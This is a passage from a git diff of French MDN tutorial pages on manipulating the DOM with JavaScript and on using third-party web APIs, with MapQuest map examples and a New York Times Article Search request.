  • Racine (root): Le noeud de plus haut niveau dans l'arbre. Dans le cas d'un document HTML, il s'agit toujours du noeud HTML (d'autres langages de balilsage tels que SVG et XML auront des racines différentes).
    • +
  • Enfant (child): Un noeud directement à l'intérieur d'un autre noeud. Par exemple, IMG est un enfant de SECTION dans l'exemple ci-dessus.
    • +
  • Descendant (descendent): Un noeud n'importe où à l'intérieur d'un autre noeud. Par exemple, IMG est un enfant de SECTION mais aussi un de ses descendants. IMG n'est pas un enfant de BODY, puisqu'il est deux niveaux plus bas dans l'arbre, mais il est un de ses descendants.
    • +
  • Parent (parent): Un noeud qui a un autre noeud directement à l'intérieur. Par exemple, BODY est le parent de SECTION.
    • +
  • Ancêtre (ancestor): Un noeud qui a un autre noeud n'importe où à l'intérieur. Par exemple, BODY est l'ancêtre d'IMG.
    • +
  • Frère (sibling): Des noeuds qui ont le même parent. Par exemple, IMG et P sont frères.
    • +
  • Texte (text node): Noeud constitué par une chaîne de caractères.
    • +
+ +

Il est utile de vous familiariser avec ces termes avant de travailler avec le DOM, puisqu'un certain nombre de documentations les utilisent. Vous les avez peut-être déjà rencontrés si vous avez étudié CSS (ex. sélecteur descendant, sélecteur enfant).

+ +

Apprentissage actif: Manipulations basiques du DOM

+ +

Pour commencer l'apprentissage de la manipulation du DOM, commençons par la pratique.

+ +
    +
  1. Faites une copie locale de la page dom-example.html et de l'image qui l'accompagne.
    2. +
  2. Ajoutez un élément <script></script> juste avant la balise fermante </body>.
    3. +
  3. Pour manipuler un élément dans le DOM, vous allez d'abord sélectionner cet élément et stocker une référence vers cet élément dans une variable. À l'intérieur de votre élément <script>, ajoutez la ligne suivante: + 
    var link = document.querySelector('a');
    +
    4. +
  4. Maintenant que nous avons une référence vers l'élément, nous pouvous commencer à le manipuler en utilisant les propriétés et les méthodes disponibles dessus (celles-ci sont définies sur les interfaces telles que {{domxref("HTMLAnchorElement")}} dans le cas d'un élément {{htmlelement("a")}}, et sur les interfaces plus génériques {{domxref("HTMLElement")}}, et {{domxref("Node")}} — qui représente tout noeud dans le DOM). Tout d'abord, nous allons changer le texte du lien en mettant à jour la valeur de la propriété {{domxref("Node.textContent")}}. Ajoutez la ligne suivante à la suite de la précédente: + 
    link.textContent = 'Mozilla Developer Network';
    +
    5. +
  5. Nous allons également changer l'URL où dirige le lien, pour qu'il ne dirige pas au mauvais endroit quand on clique dessus. Ajoutez la ligne suivante au bas de votre JavaScript: + 
    link.href = 'https://developer.mozilla.org';
    +
    6. +
+ +
+

Notez que, comme beaucoup de choses en JavaScript, il y a plusieurs façons de sélectionner et récupérer une référence vers un élément dans une variable. {{domxref("Document.querySelector()")}} est l'approche moderne recommandée — elle est pratique puisqu'elle permet de sélectionner des éléments en utilisant les sélecteurs CSS. L'appel à querySelector() que nous avons utilisé plus tôt récupère le premier élément {{htmlelement("a")}} qui apparaît dans le document. Si vous vouliez récupérer plusieurs éléments, vous auriez pu utiliser {{domxref("Document.querySelectorAll()")}}, qui récupère tous les éléments du document qui correspondent au sélecteur, et retourne des références vers ces éléments dans un objet similaire à un tableau appelé un NodeList.

+ +

Il existe des méthodes plus anciennes pour récupérer des références aux éléments, telles que:

+ +
    +
  • {{domxref("Document.getElementById()")}}, qui sélectionne un élément avec un attribut id donné, par exemple <p id="myId">My paragraph</p>. L'ID est passé par paramètre, par exemple var elementRef = document.getElementById('myId').
    • +
  • {{domxref("Document.getElementsByTagName()")}}, qui retourne un tableau contenant tous les éléments de la page ayant un type donné, par exemple tous les <p>, <a>, etc. Le type de l'élément est passé par paramètre, par exemple var elementRefArray = document.getElementsByTagName('p').
    • +
+ +

Ces deux dernières méthodes fonctionnent même dans les anciens navigateurs, contrairement à querySelector(), mais sont beaucoup moins pratiques. Jetez un coup d'oeil aux docs et essayez d'en trouver d'autres!

+
+ +

Créer et placer de nouveaux noeuds

+ +

Ce qui précède vous a donné un petit avant-goût de ce que vous pouvez faire, mais allons plus loin et regardons comment créer de nouveaux éléments.

+ +
    +
  1. De retour à notre exemple, commençons par récupérer une référence vers notre élément {{htmlelement("section")}} — ajoutez le code suivant au bas de votre script existant (faites de même avec les lignes qui suivront): + 
    var sect = document.querySelector('section');
    +
    2. +
  2. Nous allons créer un nouveau paragraphe avec {{domxref("Document.createElement()")}} et lui donner un texte de la même manière que précédemment: + 
    var para = document.createElement('p');
+para.textContent = 'We hope you enjoyed the ride.';
    +
    3. +
  3. Nous pouvons maintenant ajouter ce paragraphe en bas de la section en utilisant {{domxref("Node.appendChild()")}}: + 
    sect.appendChild(para);
    +
    4. +
  4. Finallement, ajoutons un noeud texte au premier paragraphe, pour finir la phrase joliment. D'abord, créons un noeud texte avec {{domxref("Document.createTextNode()")}}: + 
    var text = document.createTextNode(' — the premier source for web development knowledge.');
    +
    5. +
  5. Puis, après avoir récupéré un référence vers le premier paragraphe, ajoutons-y le noeud texte: + 
    var linkPara = document.querySelector('p');
+linkPara.appendChild(text);
    +
    6. +
+ +

C'est le plus gros de ce dont vous aurez besoin pour ajouter des noeuds au DOM — vous utiliserez beaucoup ces méthodes lorsque vous construirez des interfaces dynamiques (nous verrons quelques exemples plus tard).

+ +

Déplacer des éléments

+ +

Il peut y avoir des moments où vous allez vouloir déplacer des noeuds. Si on voulait déplacer le premier paragraphe au bas de la section, on pourrait faire ça:

+ +
sect.appendChild(linkPara);
+ +

Cela déplace le paragraphe tout au bas de la section. On pourrait penser que cela ajouterait une copie, mais ce n'est pas le cas — linkPara est une référence vers un et un seul élément. Si on voulait ajouter une copie, on devrait utiliser {{domxref("Node.cloneNode()")}} à la place.

+ +

Supprimer des éléments

+ +

Supprimer des éléments est également plutôt simple, du moins quand on a une référence de l'élément et de son parent. Dans notre cas, on peut utiliser {{domxref("Node.removeChild()")}}, comme ceci:

+ +
sect.removeChild(linkPara);
+ +

Vous pourriez aussi vouloir supprimer un élément en n'ayant qu'une référence vers cet élément, et c'est souvent le cas. Il n'existe pas de méthode pour dire à un noeud de se supprimer, vous auriez donc à faire comme suit:

+ +
linkPara.parentNode.removeChild(linkPara);
+ +

Testez les lignes ci-dessus dans votre code.

+ +

Manipuler le style

+ +

Il est possible de manipuler le style CSS JavaScript de plusieurs manières.

+ +

Stylesheets

+ +

Vous pouvez obtenir une liste de toutes les feuilles de style du document en utilisant {{domxref("Document.stylesheets")}}, qui retourne un tableau d'objets {{domxref("CSSStyleSheet")}}. Vous pouvez ainsi ajouter/supprimer des styles comme vous le souhaitez. Cependant, nous n'allons pas nous étendre sur ces fonctionnalités car elles sont archaïques et il est difficule de manipuler le style avec. Il y a des moyens plus simples.

+ +

Propriété style

+ +

La première façon consiste à ajouter des styles en ligne (inline style), directement sur les éléments que vous voulez styler. Pour ce faire, on utilise la propriété {{domxref("HTMLElement.style")}}, qui nous permet d'accéder au style en ligne des éléments du document. Vous pouvez définir les propriétés de cet objet pour mettre à jour directement le style en ligne d'un élément.

+ +
    +
  1. À titre d'exemple, essayez d'ajouter les lignes suivantes au bas de votre JavaScript: + 
    para.style.color = 'white';
+para.style.backgroundColor = 'black';
+para.style.padding = '10px';
+para.style.width = '250px';
+para.style.textAlign = 'center';
    +
    2. +
  2. Rafraichissez la page et vous verrez que les styles ont été appliqués au paragraphe. Si vous regardez le paragraphe dans l'Inspecteur du navigateur, vous verrez que que ces lignes sont en effet ajoutées comme style en ligne au document: + 
    <p style="color: white; background-color: black; padding: 10px; width: 250px; text-align: center;">We hope you enjoyed the ride.</p>
    +
    3. +
+ +
+

Note: Notez que les propriétés JavaScript qui représentent les propriétés CSS sont écrites en lower camel case tandis que la version CSS est liée par des tirets (par exemple backgroundColor au lieu de background-color). Assurez-vous de ne pas les mélanger, sans quoi ça ne marchera pas.

+
+ +

Attribut classe

+ +

Il y a un autre moyen de manipuler dynamiquement des styles sur votre document, que nous allons voir maintenant.

+ +
    +
  1. Supprimez l'exemple précédent de votre JavaScript (5 lignes).
    2. +
  2. Ajoutez ce qui suit de le {{htmlelement("head")}} de votre HTML: + 
    <style>
+.highlight {
+  color: white;
+  background-color: black;
+  padding: 10px;
+  width: 250px;
+  text-align: center;
+}
+</style>
    +
    3. +
  3. Nous allons maintenant utiliser une méthode très utile pour la manipulation HTML de manière générale — {{domxref("Element.setAttribute()")}}. Cette fonction prend deux paramètres, le nom de l'attribut que vous voulez définir sur l'élémént et la valeur que vous voulez lui attribuer. En l'occurence, nous allons définir la classe de l'élément à highlight: + 
    para.setAttribute('class', 'highlight');
    +
    4. +
  4. Rafraichissez votre page, et vous pourrez constater qu'il n'y a aucun changement par rapport au dernier exemple. La seule différence est qu'on a utilisé une classe et non des styles en ligne.
    5. +
+ +

La méthode que vous utilisez ne dépend que de vous; chacune a ses avantages et ses inconvénients. Les styles en ligne demandent moins de préparation et sont utiles pour un usage simple, tandis que l'usage des classes est une méthode plus puriste — on ne mélange pas le CSS et le JavaScript. Alors que vous construirez des applications de plus en plus volumineuses et complexes, vous allez probablement utiliser la dernière méthode plus fréquemment, mais c'est à vous de décider.

+ +

À ce stade, nous n'avons pas vraiment fait quoi que soit d'utile! Il n'y a pas d'intérêt à générer du contenu statique avec JavaScript — autant l'écrire directement en HTML et ne pas utiliser JavaScript c'est plus complexe qu'HTML et vient avec quelques inconvénients, comme le fait que ce ne soit pas lisible par les moteurs de recherche.

+ +

Dans les prochaines sections, nous verrons un exemple plus pratique de l'utilisation des APIs du DOM.

+ +
+

Note: Vous pouvez trouver la version finale de dom-example.html sur GitHub (le voir en direct aussi).

+
+ +

Apprentissage actif: Récupérer des informations à partir de l'objet Window

+ +

Jusqu'à présent nous avons utilisé les fonctionnalités de {{domxref("Node")}} et {{domxref("Document")}} (le DOM) pour manipuler les documents, mais vous pouvez obtenir des données d'autres sources. Repensez à notre démo maps-example.html du dernier article — on y récupérait des données de géolocalisation pour afficher une carte de votre région. Vous devez juste vous assurer que vos données sont dans le bon format, et JavaScript rend cette tâche facile par rapport à de nombreux autres langages, puisqu'il est faiblement typé — par exemple, les nombres sont automatiquement convertis en chaîne de caractères quand on veut les afficher à l'écran.

+ +

Dans cet exemple, nous allons résoudre un problème très commun — s'assurer que votre application est de la taille de la fenêtre, quelle que soit la taille de la fenêtre. C'est souvent utilisé pour les jeux, où vous voulez utiliser autant de place à l'écran que vous en avez pour jouer.

+ +
    +
  1. Pour commencer, faites une copie locale des fichiers de démo window-resize-example.html et bgtile.png. Ouvrez le fichier html — vous verrez que nous avons un élément {{htmlelement("div")}} qui recouvre une petite partie de l'écran avec un motif de mosaïques. Nous allons l'utiliser pour représenter la surface de notre interface.
    2. +
  2. Premièrement, nous allons récupérer une référence au <div>, ainsi que la largeur et la hauteur de la fenêtre, et les stocker dans des variables — ces deux dernières valeurs sont faciles à obtenir via les propriétés {{domxref("Window.innerWidth")}} et {{domxref("Window.innerHeight")}}. Ajoutez les lignes qui suivent à l'intérieur de l'élément {{htmlelement("script")}}: + 
    var div = document.querySelector('div');
+var WIDTH = window.innerWidth;
+var HEIGHT = window.innerHeight;
    +
    3. +
  3. Ensuite, nous allons modifier dynamiquement la largeur et hauteur du <div> pour qu'elles soient égales à celles de la fenêtre. Ajoutez les lignes suivantes à la suite des précédentes: + 
    div.style.width = WIDTH + 'px';
+div.style.height = HEIGHT + 'px';
    +
    4. +
  4. Sauvegardez et rafraichissez votre page — vous devriez désormais voir que le <div> est aussi grand que la fenêtre, quelle qu'en soit la taille. Si maintenant vous essayez d'agrandir votre fenêtre, vous pouvez constater qu'il ne change pas de taille — nous ne définissons la taille qu'une seule fois.
    5. +
  5. Nous pouvons utiliser un gestionnaire d'événément pour que le <div> soit redimensionné à chaque fois que la fenêtre est redimensionnée. L'objet {{domxref("Window")}} a pour ça un événement disponible appelé resize, qui est déclenché lorsque la fenêtre est redimensionnée — nous pouvons utiliser le gestionnaire d'événement {{domxref("Window.onresize")}} pour ré-exécuter notre code de dimensionnement à chaque fois. Ajoutez ce qui suit au bas de votre code: + 
    window.onresize = function() {
+  WIDTH = window.innerWidth;
+  HEIGHT = window.innerHeight;
+  div.style.width = WIDTH + 'px';
+  div.style.height = HEIGHT + 'px';
+}
    +
    6. +
+ +
+

Note: Vous pouvez trouver notre exemple de redimensionnement de la fenêtre terminé sur Github (voir en direct aussi).

+
+ +

Apprentissage actif: Une liste de courses dynamique

+ +

Pour clore l'article, nous aimerions vous proposer un petit challenge — nous voulons créer une simple liste de courses qui nous permette d'ajouter des items à la liste dynamiquement en utilisant un champ de formulaire et un bouton. Quand vous ajoutez une valeur au champ et appuyez sur le bouton:

+ +
    +
  • La valeur du champ doit être ajoutée à la liste.
    • +
  • Chaque élément de la liste doit avoir un bouton qui, quand il est pressé, supprime cet élément de la liste.
    • +
  • Le champ doit être vidé et prendre le focus pour que vous puissez entrer un autre élément directement.
    • +
+ +

La démo terminée doit ressembler à ça:

+ +

+ +

Pour compléter l'exercice, suivez les étapes ci-dessous, et assurez-vous que votre exemple se comporte comme décrit ci-dessus.

+ +
    +
  1. Tout d'abord, téléchargez une copie du fichier shopping-list.html. Vous verrez qu'il contient un peu de CSS, un label, champ et bouton, une liste vide et un élément {{htmlelement("script")}}. Vous devrez apporter toutes vos modifications à l'intérieur du script.
    2. +
  2. Créez trois variables, contenant des références à la liste {{htmlelement("ul")}}, champ {{htmlelement("input")}}, et bouton {{htmlelement("button")}}.
    3. +
  3. Créez une fonction qui est déclenchée lorsqu'on clique sur le bouton.
    4. +
  4. À l'intérieur du corps de la fonction, commencez par stoquer la valeur (propriété value) du champ dans une variable.
    5. +
  5. Ensuite, videz le champ en définissant sa valeur à une chaîne vide — ''.
    6. +
  6. Créez trois nouveaux éléments — un élément de liste {{htmlelement('li')}}, un {{htmlelement('span')}} et {{htmlelement('button')}}, et stockez-les dans des variables.
    7. +
  7. Ajoutez le <span> et <button> comme enfant du <li>.
    8. +
  8. Définissez le contenu du <span> à la valeur du champ que vous avez récupéré précedemment, et définissez le contenu du boutton à "Supprimer".
    9. +
  9. Ajoutez le <li> comme enfant de la liste.
    10. +
  10. Ajoutez un gestionnaire d'événément pour le bouton "Supprimer", pour que quand il est cliqué, le <li> dans lequel il se situe est supprimé.
    11. +
  11. Finalement, utilisez la méthode {{domxref("HTMLElement.focus")}} pour donner le focus au champ, qu'il soit prêt à recevoir la valeur du prochain élément.
    12. +
+ +
+

Note: Si vous êtes vraiment bloqué, vous pouvez regarder notre liste de courses terminée (voir en direct.)

+
+ +

Sommaire

+ +

Nous avons finit de voir la manipulation du document par le DOM. À ce stade, vous devriez comprendre quels sont les composants importants du navigateur web en ce qui concerne le contrôle des documents et l'expérience utilisateur sur le web. Plus important encore, vous devriez comprendre ce qu'est le Document Object Model, et comment l'utiliser pour créer des fonctionnalités utiles.

+ +

Voir aussi

+ +

Il y a beaucoup plus à voir que ce qui est couvert dans cet article. Jetez un coup d'oeil à nos références pour en découvrir davantage:

+ +
    +
  • {{domxref("Document")}}
    • +
  • {{domxref("Window")}}
    • +
  • {{domxref("Node")}}
    • +
  • {{domxref("HTMLElement")}}, {{domxref("HTMLInputElement")}}, {{domxref("HTMLImageElement")}}, etc.
    • +
+ +

(Voir notre Référence Web API pour une liste complètes des APIs web documentées sur MDN!)

+ +
{{PreviousMenuNext("Learn/JavaScript/Client-side_web_APIs/Introduction", "Learn/JavaScript/Client-side_web_APIs/Fetching_data", "Learn/JavaScript/Client-side_web_APIs")}}
+ +
+

Dans ce module

+ + +
diff --git a/files/fr/learn/javascript/client-side_web_apis/third_party_apis/index.html b/files/fr/learn/javascript/client-side_web_apis/third_party_apis/index.html new file mode 100644 index 0000000000..f8e36b2078 --- /dev/null +++ b/files/fr/learn/javascript/client-side_web_apis/third_party_apis/index.html @@ -0,0 +1,440 @@ +--- +title: API tierces +slug: Apprendre/JavaScript/Client-side_web_APIs/Third_party_APIs +tags: + - API + - Apprendre + - Débutant +translation_of: Learn/JavaScript/Client-side_web_APIs/Third_party_APIs +--- +
{{LearnSidebar}}{{PreviousMenuNext("Learn/JavaScript/Client-side_web_APIs/Fetching_data", "Learn/JavaScript/Client-side_web_APIs/Drawing_graphics", "Learn/JavaScript/Client-side_web_APIs")}}
+ +

Jusqu'à présent, nous avons uniquement abordé des API qui sont fournies par le navigateur. Il en existe d'autres : de nombreux sites et services, tels que Google Maps, Twitter, Facebook, PayPal, etc. fournissent des API permettant aux développeurs d'exploiter leurs données (ex. afficher un flux Twitter sur un blog) ou leurs services (utiliser l'outil de connexion Facebook pour que vos utilisateurs se connectent sur votre application). Dans cet article, nous verrons les différences entre les API du navigateur et celles fournies par des services tiers (en anglais, on parle de « third-party API ») et nous illustrerons certains cas d'usage pour ces API tierces.

+ + + + + + + + + + + + +
Prérequis :Les bases de JavaScript (voir premiers pas, blocs de construction, les objets JavaScript), les bases des API côté client.
Objectifs :Comprendre le fonctionnement des API tierces et comment les utiliser pour ajouter des fonctionnalités à ses sites / applications.
+ +

Qu'est-ce qu'une API tierce ?

+ +

Les API tierces sont des API qui sont fournis par des tiers, généralement des entreprises comme Facebook, Twitter ou Google, qui permettent d'accéder à leurs données et/ou leurs fonctionnalités grâce à JavaScript afin de les utiliser sur son site. Utiliser une API de cartographie afin d'afficher une carte sur une page est un exemple.

+ +

Regardons cet exemple qui utilise l'API MapQuest et voyons avec lui les différences entre les API tierces et celles du navigateur.

+ +
+

Note : Vous pouvez récupérer l'ensemble des exemples de code en une seule fois. Dans ce cas, il vous suffit de rechercher dans votre dépôt les fichiers utilisés pour chaque section.

+
+ +

Elles sont situées sur des serveurs tiers

+ +

Les API fournies par le navigateur sont construites dans le navigateur et on peut y accéder immédiatement avec du code JavaScript. Ainsi, l'API Web Audio que nous avons vu dans cet article introductif s'utilise via l'objet {{domxref("AudioContext")}} fourni nativement :

+ +
const audioCtx = new AudioContext();
+  ...
+const audioElement = document.querySelector('audio');
+  ...
+const audioSource = audioCtx.createMediaElementSource(audioElement);
+// etc.
+ +

En revanche, les API tierces sont situées sur des serveurs tiers. Pour y accéder avec JavaScript, il faut d'abord se connecter aux fonctionnalités de l'API afin de les rendre disponibles sur la page. Pour cela, on pourra utiliser une bibliothèque JavaScript disponible sur le serveur via un élément {{htmlelement("script")}}. Pour notre exemple avec MapQuest, voici ce que ça donne :

+ +
<script src="https://api.mqcdn.com/sdk/mapquest-js/v1.3.2/mapquest.js"></script>
+<link type="text/css" rel="stylesheet" href="https://api.mqcdn.com/sdk/mapquest-js/v1.3.2/mapquest.css"/>
+ +

On peut alors utiliser les objets fournis par cette bibliothèque. Voici un fragment de code qui illustre cette utilisation :

+ +
var L;
+
+var map = L.mapquest.map('map', {
+  center: [53.480759, -2.242631],
+  layers: L.mapquest.tileLayer('map'),
+  zoom: 12
+});
+ +

Ici on crée une variable dans laquelle enregistrer les informations de la carte puis on crée une nouvelle carte à l'aide de la méthode mapquest.map() qui prend comme argument :

+ +
    +
  • l'identifiant (la valeur de l'attribut id) d'un élément {{htmlelement("div")}} dans lequel on souhaite afficher la carte (ici, c'est "map")
    • +
  • un objet indiquant les options pour la carte qu'on souhaite afficher. Ici, on indique les coordonnées du centre de la carte, le pavage utilisé (ici on utilise la méthode mapquest.tileLayer() ainsi que le niveau de zoom.
    • +
+ +

C'est tout ce dont l'API MapQuest a besoin pour dessiner une carte. C'est le serveur auquel on se connecte qui gère les aspects plus compliqués (comme afficher les bonnes tuiles pour la zone géographique, etc.).

+ +
+

Note : Certaines API fonctionnent différemment pour l'accès aux fonctionnalités et passent par une requête HTTP sur une URL spécifique pour récupérer les données. Ces API sont appelées API REST (ou RESTful APIs en anglais) et nous les abordons plus bas dans l'article.

+
+ +

Des clés d'API sont nécessaires pour les utiliser

+ +

Dans les navigateurs, comme nous l'avons vu dans le premier article, les sécurités relatives aux API sont gérées via des permissions afin d'avertir l'utilisateur et d'éviter les utilisations malveillantes de la part des sites.

+ +

Pour les API tierces, le système est légèrement différent. Généralement, ce sont des clés qui sont utilisées afin de fournir aux développeurs l'accès aux fonctionnalités de l'API. Dans ce système, la clé sert plutôt à protéger des abus de la part des développeurs envers le site tiers.

+ +

Dans l'exemple MapQuest, vous pourrez trouver une ligne semblable à celle-ci :

+ +
L.mapquest.key = 'VOTRE-CLE-D-API-ICI';
+ +

Cette ligne indique une clé d'API utilisée par notre application. Le développeur de l'application doit obtenir une clé et l'inclure dans le code de l'application afin de pouvoir accéder aux fonctionnalités de l'API. Pour cet exemple, il s'agit d'une valeur imaginaire.

+ +
+

Note : Lorsque vous construisez votre propre application, utilisez une « vraie » valeur de clé plutôt que la valeur de substitution fournie en exemple.

+
+ +

Certaines API peuvent nécessiter de fournir la clé d'une façon différente mais le fonctionnement général reste similaire.

+ +

L'existence d'une telle clé d'API permet au fournisseur tiers de contrôler les accès et actions des différents développeurs/utilisateurs. Ainsi, lorsqu'un développeur demande une clé, il devient alors connu du fournisseur de l'API et ce dernier peut agir de son côté si l'API est détournée ou utilisée de façon incorrecte (par exemple pour pister des personnes ou parce que le site du développeur sollicite l'API avec de trop nombreuses requêtes). Dès qu'un usage incorrect est détecté du côté du fournisseur, il suffit alors de révoquer l'accès et de couper ou de limiter les accès pour cette clé.

+ +

Étendre l'exemple « MapQuest »

+ +

Ajoutons quelques fonctionnalités à cet exemple MapQuest afin d'illustrer le fonctionnement d'autres aspects de l'API.

+ +
    +
  1. +

    Pour commencer cette section, copiez le fichier initial dans un nouveau répertoire. Si vous avez déjà cloné le dépôt des exemples, vous disposez déjà d'une copie située sous le répertoire javascript/apis/third-party-apis/mapquest.

    +
    2. +
  2. +

    Ensuite, rendez-vous sur le site MapQuest pour les développeurs, créez un compte puis créez une clé de développement (au moment où nous écrivons ces lignes, sur le site, le nom utilisé est "consumer key" et la procédure de création demande aussi la saisie d'une URL "callback URL" qui est optionnelle (vous pouvez la laisser vide).

    +
    3. +
  3. Ouvrez un éditeur pour éditer le fichier initial et remplacez la valeur pour la clé d'API avec la vôtre.
    4. +
+ +

Modifier le type de la carte

+ +

L'API MapQuest permet d'afficher différents types de carte. Localisez la ligne suivante dans votre fichier :

+ +
layers: L.mapquest.tileLayer('map')
+ +

Ici, vous pouvez changer 'map' en 'hybrid' afin d'afficher une carte avec un style hybride. Vous pouvez essayer d'autres valeurs comme celles indiquées sur la page de référence de la méthode tileLayer().

+ +

Ajouter différents contrôles

+ +

Sur la carte, on peut utiliser différents contrôles. Par défaut, seul un contrôle pour le zoom est affiché. Il est possible d'étendre les contrôles disponibles en utilisant la méthodemap.addControl(). Ajoutez la ligne suivante à l'intérieur du gestionnaire window.onload :

+ +
map.addControl(L.mapquest.control());
+ +

La méthode mapquest.control() crée un ensemble complet de contrôle et est placée, par défaut, dans le coin supérieur droit de la carte. Cette position peut être ajustée grâce à un paramètre d'options contenant une propriété position dont la valeur est un mot-clé décrivant la position souhaitée. Vous pouvez modifier la ligne de la façon suivante par exemple :

+ +
  map.addControl(L.mapquest.control({ position: 'bottomright' }));
+ +

D'autres types de contrôle sont disponibles comme mapquest.searchControl() et mapquest.satelliteControl(). Certains sont avancés et permettent de nombreuses choses. N'hésitez pas à en essayer différents pour voir ce qui vous semble le mieux pour votre projet.

+ +

Ajouter un marqueur personnalisé

+ +

Pour ajouter une icône sur un point de la carte, on pourra utiliser la méthode L.marker()  (documentée dans la documentation de Leaflet.js). Dans window.onload, vous pouvez ajouter le fragment de code suivante window.onload :

+ +
L.marker([53.480759, -2.242631], {
+  icon: L.mapquest.icons.marker({
+    primaryColor: '#22407F',
+    secondaryColor: '#3B5998',
+    shadow: true,
+    size: 'md',
+    symbol: 'A'
+  })
+})
+.bindPopup('Ici se trouve Manchester !')
+.addTo(map);
+ +

Comme on peut le voir ici, la méthode peut prendre deux paramètres :

+ +
    +
  • le premier qui contient les coordonnées géographiques de l'emplacement où afficher le pointeur sous la forme d'un tableau
    • +
  • le deuxième qui est un objet d'options contenant une propriété icon qui définit l'icône à afficher à cet emplacement.
    • +
+ +

L'icône est définie via un appel à la méthode mapquest.icons.marker() à laquelle on fournit des informations telles que la couleur et la taille du marqueur.

+ +

Après l'appel à la première méthode, on enchaîne avec un appel avec .bindPopup('Ici se trouve Manchester !'), qui fournit le contenu à afficher lorsqu'on cliquera sur le marqueur.

+ +

Enfin, on chaîne un appel .addTo(map) pour ajouter le marqueur sur la carte.

+ +

Essayez les différentes options que vous trouverez dans la documentation et voyez quel résultat vous pouvez obtenir ! MapQuest fournit certaines fonctionnalités relativement avancées (itinéraire, recherche, etc.).

+ +
+

Note : Si vous ne parvenez pas à faire fonctionner l'exemple, vous pouvez consulter la version finalisée de notre exemple : expanded-example.html.

+
+ +

Quid de Google Maps ?

+ +

Google Maps est sans doute l'API de cartographie la plus populaire. Pourquoi ne l'avons-nous pas incluse ici ? Nous avons choisi MapQuest pour plusieurs raisons :

+ +
    +
  • L'utilisation est beaucoup plus simple. Pour les API Google, il faut créer un compte Google, se connecter à la Google Cloud Platform Console pour créer des clés d'API avec une procédure assez complexe.
    • +
  • Pour utiliser l'API Google Maps et bien qu'un usage léger soit gratuit, il est nécessaire de fournir une carte de crédit à des fins de facturation et nous pensions que cela n'était pas acceptable pour un tel tutoriel.
    • +
  • Nous souhaitions montrer que des alternatives étaient disponibles.
    • +
+ +

Une approche pour utiliser les API tierces

+ +

Une API REST du NYTimes

+ +

Prenons un autre exemple d'API, l'API du New York Times. Cette API permet de récupérer les informations provenant du New York Times et de les afficher sur votre site. Cette API est ce qu'on appelle une API REST car elle permet de récupérer des données via des requêtes HTTP sur des URL spécifiques dans lesquelles on peut fournir des données comme des termes de recherches (souvent encodés comme paramètres dans l'URL). Ce type d'API est relativement fréquent.

+ +

Construisons un second exemple pour comprendre comment utiliser l'API du NYTimes. Au fur et à mesure nous décrirons également une approche plus générale pour consommer d'autres API tierces.

+ +

Trouver la documentation

+ +

Lorsqu'on veut utiliser une API tierce, il est toujours utile de trouver la documentation correspondante pour connaître les fonctionnalités offertes, comment les utiliser, etc. La documentation de l'API du New York Times API se situe ici : https://developer.nytimes.com/.

+ +

Obtenir une clé de développement

+ +

La plupart des API reposent sur l'obtention et l'utilisation d'une clé de développement (tant pour des raisons de sécurité que de responsabilité). Pour obtenir une clé de développement pour l'API du NYTimes, vous pouvez suivre les instructions de https://developer.nytimes.com/get-started.

+ +
    +
  1. +

    Demandez une clé pour l'API Article Search — créez une nouvelle application et sélectionnez cette API, fournissez un nom et une description pour votre application, activez le bouton sous "Article Search API" puis cliquez sur "Create").

    +
    2. +
  2. +

    Vous pouvez alors récupérer la clé d'API à partir de la page suivante.

    +
    3. +
  3. +

    Pour construire le socle de notre exemple, copiez nytimes_start.html et nytimes.css dans un nouveau répertoire sur votre ordinateur. Si vous avez déjà cloné le dépôt des exemples, vous disposez déjà d'un exemplaire de ces fichiers et vous pourrez les trouver sous le répertoire javascript/apis/third-party-apis/nytimes. L'élément <script> contient un certain nombre de variables nécessaires à l'initialisation de l'exemple. Nous allons ensuite remplir les fonctionnalités nécessaires.

    +
    4. +
+ +

Au final, on souhaite que l'application permette de saisir un terme de recherche, des dates optionnelles pour le début et la fin de la période à rechercher. Nous utiliserons alors ces paramètres afin de d'envoyer des requêtes sur l'API Article Search puis nous afficherons les résultats obtenus.

+ +

+ +

Connecter l'API à son application

+ +

Tout d'abord, vous devrez créer une connexion entre l'API et votre application. Pour cette API, vous devez fournir la clé d'API comme paramètre GET à chaque requête.

+ +
    +
  1. +

    Localisez la ligne qui suit et remplacez la valeur avec la clé de développement que vous avez obtenu plus tôt :

    + + 
    var key = ' ... ';
    +
    2. +
  2. +

    Ajoutez la ligne suivante sous le commentaire // Event listeners to control the functionality. Cette ligne permet d'exécuter la fonction submitSearch() lorsque le formulaire est envoyé (quand on presse le bouton).

    + + 
    searchForm.addEventListener('submit', submitSearch);
    +
    3. +
  3. +

    Sous cette nouvelle ligne, ajoutons les fonctions submitSearch() et fetchResults() :

    + + 
    function submitSearch(e) {
+  pageNumber = 0;
+  fetchResults(e);
+}
+
+function fetchResults(e) {
+  // On utilise preventDefault() afin d'éviter
+  // l'envoie vers notre serveur et le rafraîchissement
+  // de la page
+  e.preventDefault();
+
+  // On compose l'URL
+  url = baseURL + '?api-key=' + key + '&page=' + pageNumber + '&q=' + searchTerm.value + '&fq=document_type:("article")';
+
+  if(startDate.value !== '') {
+    url += '&begin_date=' + startDate.value;
+  };
+
+  if(endDate.value !== '') {
+    url += '&end_date=' + endDate.value;
+  };
+
+}
    +
    4. +
+ +

submitSearch() commence par réinitialiser le nombre de page à 0 puis appelle fetchResults(). Cette fonction commence par appeler preventDefault() sur l'évènement afin d'empêcher l'envoi du formulaire vers notre serveur (ce qui casserait l'exemple). Ensuite, on assemble la chaîne de caractères qui formera l'URL sur laquelle on fera la requête. Dans cette URL, on commence par mettre les fragments « obligatoires » (en tout cas pour cette démonstration) :

+ +
    +
  • L'URL de base (telle que fournie par la variable baseURL).
    • +
  • La clé d'API qui a été passée au paramètre d'URL  api-key et dont la valeur dans notre script est fournie par la variable key.
    • +
  • Le nombre de pages est fourni dans l'URL avec le paramètre page et provient de la variable pageNumber dans notre script.
    • +
  • Le terme de la recherche est fourni dans l'URL avec le paramètre q et provient du texte searchTerm fourni par l'élément {{htmlelement("input")}}.
    • +
  • Le type de document qu'on souhaite obtenir dans les résultats est une expression passée via le paramètre fq de l'URL. Ici, on souhaite obtenir les articles.
    • +
+ +

Après, on utilise un ensemble d'instructions if() pour vérifier si des valeurs ont été fournies pour les champs startDate et endDate dans le formulaire. Si c'est le cas, on utilise ces valeurs pour renseigner les paramètres d'URL begin_date et/ou end_date.

+ +

Si on prend un exemple d'URL complète ainsi construite :

+ +
https://api.nytimes.com/svc/search/v2/articlesearch.json?api-key=YOUR-API-KEY-HERE&page=0&q=cats
+&fq=document_type:("article")&begin_date=20170301&end_date=20170312
+ +
+

